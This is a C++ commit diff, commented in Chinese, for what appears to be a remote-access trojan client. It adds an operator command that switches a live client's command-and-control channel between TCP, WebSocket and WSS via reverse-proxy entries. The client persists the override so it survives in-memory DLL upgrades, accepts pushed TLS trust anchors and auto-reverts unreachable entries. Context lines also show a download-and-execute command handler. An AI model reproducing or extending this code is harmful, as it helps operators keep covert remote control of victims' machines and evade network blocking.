Feature: Let the operator switch a live client's transport from the online list
This commit is contained in:
1 parent
cc891e3670
commit
99db28e2e2
12 files changed
+466
-2
No files matched your search
@@ -11,4 +11,6 @@ public:
|
||||
virtual bool Start() = 0;
|
||||
virtual bool Stop() = 0;
|
||||
virtual bool IsMainInstance() = 0;
|
||||
// 分享实例(被别人挂在主控上)的连接入口由分享方控制,不跟随本机主控的协议切换。
|
||||
virtual bool IsShared() { return false; }
|
||||
};
|
||||
@@ -584,6 +584,133 @@ void ParseAuthServer(CONNECT_ADDRESS *conn) {
|
||||
delete cfg;
|
||||
}
|
||||
|
||||
// ---------------- 协议切换(COMMAND_SET_PROTO)的客户端落地 ----------------
|
||||
//
|
||||
// 服务端把目标入口写进本机配置(注册表 settings\proto_override 等),随后客户端断开,
|
||||
// 重连循环在这里按新入口重连。覆盖点选在「外壳注入完连接配置之后、建连之前」,因此
|
||||
// 在线升级换 DLL 也不会把协议按回 TCP——外壳注入的 protoType 每次都被这里覆盖。
|
||||
//
|
||||
// 注册表键(后缀均在 settings 下):
|
||||
// proto_override 目标协议(PROTO_TCP/WS/WSS 的数字),空 = 未切换
|
||||
// entry_host/port 新入口(反代域名:端口)
|
||||
// entry_try_at 切换时刻(unix 秒)。登录成功后清零;超时仍未登录 → 自动回退
|
||||
// base_host/port/proto 安装时的直连入口(首次切换时记录,「还原」用它)
|
||||
// prev_host/port/proto 切换前的入口(每次切换时记录,自动回退用它)
|
||||
namespace {
|
||||
|
||||
const int kProtoSwitchRevertSeconds = 300; // 新入口 5 分钟内登不上去 → 自动回退
|
||||
|
||||
bool IsSwitchableProto(int p)
|
||||
{
|
||||
return p == PROTO_TCP || p == PROTO_WS || p == PROTO_WSS;
|
||||
}
|
||||
|
||||
// 本进程首次见到的入口(外壳注入的直连入口)。用于识别「客户端被换装/重新生成」:
|
||||
// 注入入口变了,就清掉旧的切换状态,否则会一直连到上一份配置的反代入口。
|
||||
std::string g_bootHost;
|
||||
int g_bootPort = 0;
|
||||
bool g_bootCaptured = false;
|
||||
|
||||
void ClearAllProtoSwitchKeys(iniFile& cfg)
|
||||
{
|
||||
const char* keys[] = { "proto_override", "entry_host", "entry_port", "entry_try_at",
|
||||
"base_host", "base_port", "base_proto",
|
||||
"prev_host", "prev_port", "prev_proto" };
|
||||
for (auto k : keys)
|
||||
cfg.SetStr("settings", k, "");
|
||||
}
|
||||
|
||||
// 在每次建连前应用入口覆盖;返回 true 表示本次用的覆盖入口。
|
||||
// 覆盖撤销(还原命令 / 自动回退)→ 回到安装时的直连入口;
|
||||
// 新入口超时(entry_try_at 未清零)→ 回退到切换前的入口并撤销覆盖。
|
||||
bool ApplyProtoSwitch(iniFile& cfg, CONNECT_ADDRESS& s)
|
||||
{
|
||||
if (!g_bootCaptured) {
|
||||
g_bootCaptured = true;
|
||||
g_bootHost = s.ServerIP();
|
||||
g_bootPort = s.ServerPort();
|
||||
}
|
||||
|
||||
const std::string baseHost = cfg.GetStr("settings", "base_host");
|
||||
if (!baseHost.empty() && baseHost != g_bootHost) {
|
||||
// 客户端换装/重新生成:注入的入口变了,旧的反代入口不再成立
|
||||
ClearAllProtoSwitchKeys(cfg);
|
||||
Mprintf("[proto-switch] injected entry changed (%s -> %s), cleared stale switch state\n",
|
||||
baseHost.c_str(), g_bootHost.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
const std::string proto = cfg.GetStr("settings", "proto_override");
|
||||
if (proto.empty()) {
|
||||
// 覆盖已撤销(服务端「还原」):回到安装时的直连入口
|
||||
const std::string host = cfg.GetStr("settings", "base_host");
|
||||
const int port = atoi(cfg.GetStr("settings", "base_port").c_str());
|
||||
int baseProto = atoi(cfg.GetStr("settings", "base_proto").c_str());
|
||||
if (!host.empty() && port > 0) {
|
||||
if (!IsSwitchableProto(baseProto)) baseProto = PROTO_TCP;
|
||||
s.SetServer(host.c_str(), port);
|
||||
s.protoType = (char)baseProto;
|
||||
Mprintf("[proto-switch] restored direct entry %s:%d proto=%d\n", host.c_str(), port, baseProto);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
const int p = atoi(proto.c_str());
|
||||
if (!IsSwitchableProto(p)) {
|
||||
ClearAllProtoSwitchKeys(cfg); // 坏值:撤销覆盖,按注入配置走
|
||||
return false;
|
||||
}
|
||||
|
||||
// 自动回退:切换后一直没登录成功(entry_try_at 由服务端下发时写入,登录成功后清零)
|
||||
const long long tryAt = atoll(cfg.GetStr("settings", "entry_try_at").c_str());
|
||||
if (tryAt > 0 && (long long)time(0) - tryAt > kProtoSwitchRevertSeconds) {
|
||||
const std::string prevHost = cfg.GetStr("settings", "prev_host");
|
||||
const int prevPort = atoi(cfg.GetStr("settings", "prev_port").c_str());
|
||||
int prevProto = atoi(cfg.GetStr("settings", "prev_proto").c_str());
|
||||
if (!prevHost.empty() && prevPort > 0) {
|
||||
// 把「覆盖」改写成切换前的入口,而不是清空它:清空会落到下面的「还原」分支,
|
||||
// 下一轮重连又跳回安装时的直连入口——WS↔WSS 之间来回切时会白白多断一次。
|
||||
if (!IsSwitchableProto(prevProto)) prevProto = PROTO_TCP;
|
||||
s.SetServer(prevHost.c_str(), prevPort);
|
||||
s.protoType = (char)prevProto;
|
||||
cfg.SetStr("settings", "proto_override", std::to_string(prevProto));
|
||||
cfg.SetStr("settings", "entry_host", prevHost);
|
||||
cfg.SetStr("settings", "entry_port", std::to_string(prevPort));
|
||||
Mprintf("[proto-switch] new entry unreachable for %llds, reverted to %s:%d proto=%d\n",
|
||||
(long long)time(0) - tryAt, prevHost.c_str(), prevPort, prevProto);
|
||||
} else {
|
||||
// 没有前入口可回:撤销覆盖,按外壳注入的配置走
|
||||
cfg.SetStr("settings", "proto_override", "");
|
||||
cfg.SetStr("settings", "entry_host", "");
|
||||
cfg.SetStr("settings", "entry_port", "");
|
||||
Mprintf("[proto-switch] new entry unreachable and no previous entry, override dropped\n");
|
||||
}
|
||||
cfg.SetStr("settings", "entry_try_at", "0");
|
||||
return false;
|
||||
}
|
||||
|
||||
const std::string host = cfg.GetStr("settings", "entry_host");
|
||||
const int port = atoi(cfg.GetStr("settings", "entry_port").c_str());
|
||||
if (!host.empty() && port > 0)
|
||||
s.SetServer(host.c_str(), port);
|
||||
s.protoType = (char)p;
|
||||
return true;
|
||||
}
|
||||
|
||||
// 新入口登录成功:撤销自动回退计时。入口覆盖本身保留——后续重连一直用它。
|
||||
void ConfirmProtoSwitch(iniFile& cfg)
|
||||
{
|
||||
if (cfg.GetStr("settings", "proto_override").empty())
|
||||
return;
|
||||
if (cfg.GetStr("settings", "entry_try_at") == "0" ||
|
||||
cfg.GetStr("settings", "entry_try_at").empty())
|
||||
return;
|
||||
cfg.SetStr("settings", "entry_try_at", "0");
|
||||
Mprintf("[proto-switch] new entry reachable, auto-revert disarmed\n");
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
DWORD WINAPI StartClient(LPVOID lParam)
|
||||
{
|
||||
ClientApp& app(*(ClientApp*)lParam);
|
||||
@@ -665,6 +792,10 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
static auto _ = RestoreMemDLL(&cfg, &settings, app.g_bExit);
|
||||
while (app.m_bIsRunning(&app)) {
|
||||
ULONGLONG dwTickCount = GetTickCount64();
|
||||
// 协议切换:按注册表里的入口覆盖建连(分享实例不受主控的切换影响,被分配/转移
|
||||
// 过主控的入口优先)。
|
||||
if (!assigned && !app.m_bShared)
|
||||
ApplyProtoSwitch(cfg, settings);
|
||||
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) {
|
||||
Mprintf("[ConnectServer] ---> %s:%d.\n", settings.ServerIP(), settings.ServerPort());
|
||||
for (int k = 300+(IsDebug ? rand()%600:rand()%6000); app.m_bIsRunning(&app) && --k; Sleep(10));
|
||||
@@ -685,6 +816,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && !ClientObject->SendLoginInfo(login))
|
||||
WAIT_n(app.m_bIsRunning(&app), 5 + time(0)%10, 200);
|
||||
WAIT_n(app.m_bIsRunning(&app)&& ClientObject->IsRunning() && ClientObject->IsConnected(), 10, 200);
|
||||
// 协议切换:新入口已经打通(登录包发出且连接仍在),撤销自动回退计时
|
||||
if (ClientObject->IsConnected())
|
||||
ConfirmProtoSwitch(cfg);
|
||||
|
||||
do {
|
||||
Manager->SendHeartbeat();
|
||||
|
||||
@@ -61,6 +61,10 @@ public:
|
||||
{
|
||||
SAFE_DELETE(g_Connection);
|
||||
}
|
||||
bool IsShared() override
|
||||
{
|
||||
return m_bShared != FALSE;
|
||||
}
|
||||
ClientApp* SetID(unsigned id)
|
||||
{
|
||||
m_ID = id;
|
||||
|
||||
@@ -904,6 +904,82 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SET_PROTO: {
|
||||
// 协议切换(TCP / WS / WSS):把目标入口写进本机配置后断开本连接,重连循环
|
||||
// (ClientDll.cpp 的 ApplyProtoSwitch)按新入口重连。入口覆盖要落盘,否则在线
|
||||
// 升级换 DLL 后会被外壳注入的 protoType 按回 TCP。
|
||||
//
|
||||
// 载荷:[ProtoSwitchPacket][certLen 字节 PEM];host/port 都为空 = 还原到固定
|
||||
// 直连入口(客户端记着安装时的 base 入口)。WSS 可附带信任锚(反代证书),先
|
||||
// 落盘并重建 TLS 上下文,但这里不主动断开——断开统一放在末尾,避免丢后续包。
|
||||
// 分享实例的连接入口由分享方控制,主控的协议切换对它无效——直接忽略,
|
||||
// 避免白白断开一次再按注入配置连回来。
|
||||
if (m_ClientApp && m_ClientApp->IsShared()) {
|
||||
Mprintf("[proto-switch] ignored: shared instance follows the sharing host's entry\n");
|
||||
break;
|
||||
}
|
||||
if (ulLength < 1 + sizeof(ProtoSwitchPacket)) {
|
||||
Mprintf("[proto-switch] payload too short (%u), ignored\n", ulLength);
|
||||
break;
|
||||
}
|
||||
ProtoSwitchPacket p = {};
|
||||
memcpy(&p, szBuffer + 1, sizeof(p));
|
||||
p.host[sizeof(p.host) - 1] = '\0';
|
||||
p.port[sizeof(p.port) - 1] = '\0';
|
||||
const int proto = p.proto;
|
||||
if (proto != PROTO_TCP && proto != PROTO_WS && proto != PROTO_WSS) {
|
||||
Mprintf("[proto-switch] unsupported proto %d, ignored\n", proto);
|
||||
break;
|
||||
}
|
||||
const std::string host(p.host);
|
||||
const int port = atoi(p.port);
|
||||
const bool restore = (proto == PROTO_TCP && host.empty());
|
||||
if (!restore && (host.empty() || port <= 0)) {
|
||||
Mprintf("[proto-switch] missing proxy entry for proto %d, ignored\n", proto);
|
||||
break;
|
||||
}
|
||||
|
||||
// 随包下发的信任锚(WSS):写入后热重载,让下一次连接能校验反代证书。
|
||||
const uint32_t maxCert = (uint32_t)(ulLength - 1 - sizeof(ProtoSwitchPacket));
|
||||
uint32_t certLen = p.certLen < maxCert ? p.certLen : maxCert;
|
||||
if (certLen > 0) {
|
||||
std::string certPem((const char*)szBuffer + 1 + sizeof(ProtoSwitchPacket), certLen);
|
||||
m_cfg->SetStr("settings", "tls_cert", certPem);
|
||||
std::string err;
|
||||
if (!TlsReload(err))
|
||||
Mprintf("[proto-switch] trust anchor reload failed: %s\n", err.c_str());
|
||||
}
|
||||
|
||||
if (restore) {
|
||||
m_cfg->SetStr("settings", "proto_override", "");
|
||||
m_cfg->SetStr("settings", "entry_host", "");
|
||||
m_cfg->SetStr("settings", "entry_port", "");
|
||||
m_cfg->SetStr("settings", "entry_try_at", "0");
|
||||
Mprintf("[proto-switch] restore request, reconnecting to the direct entry\n");
|
||||
} else {
|
||||
// 首次切换记下安装时的直连入口(「还原」用);每次切换记下当前入口(自动回退用)
|
||||
if (m_cfg->GetStr("settings", "base_host").empty()) {
|
||||
m_cfg->SetStr("settings", "base_host", m_conn->ServerIP());
|
||||
m_cfg->SetStr("settings", "base_port", std::to_string(m_conn->ServerPort()));
|
||||
m_cfg->SetStr("settings", "base_proto",
|
||||
std::to_string((int)(unsigned char)m_conn->protoType));
|
||||
}
|
||||
m_cfg->SetStr("settings", "prev_host", m_conn->ServerIP());
|
||||
m_cfg->SetStr("settings", "prev_port", std::to_string(m_conn->ServerPort()));
|
||||
m_cfg->SetStr("settings", "prev_proto", std::to_string((int)(unsigned char)m_conn->protoType));
|
||||
|
||||
m_cfg->SetStr("settings", "proto_override", std::to_string(proto));
|
||||
m_cfg->SetStr("settings", "entry_host", host);
|
||||
m_cfg->SetStr("settings", "entry_port", std::to_string(port));
|
||||
m_cfg->SetStr("settings", "entry_try_at", std::to_string((long long)time(0)));
|
||||
Mprintf("[proto-switch] switching to proto %d via %s:%d, reconnecting\n",
|
||||
proto, host.c_str(), port);
|
||||
}
|
||||
if (m_ClientObject)
|
||||
m_ClientObject->Disconnect();
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_DOWN_EXEC: {
|
||||
std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
|
||||
break;
|
||||
|
||||
Reference in new issue
Block a user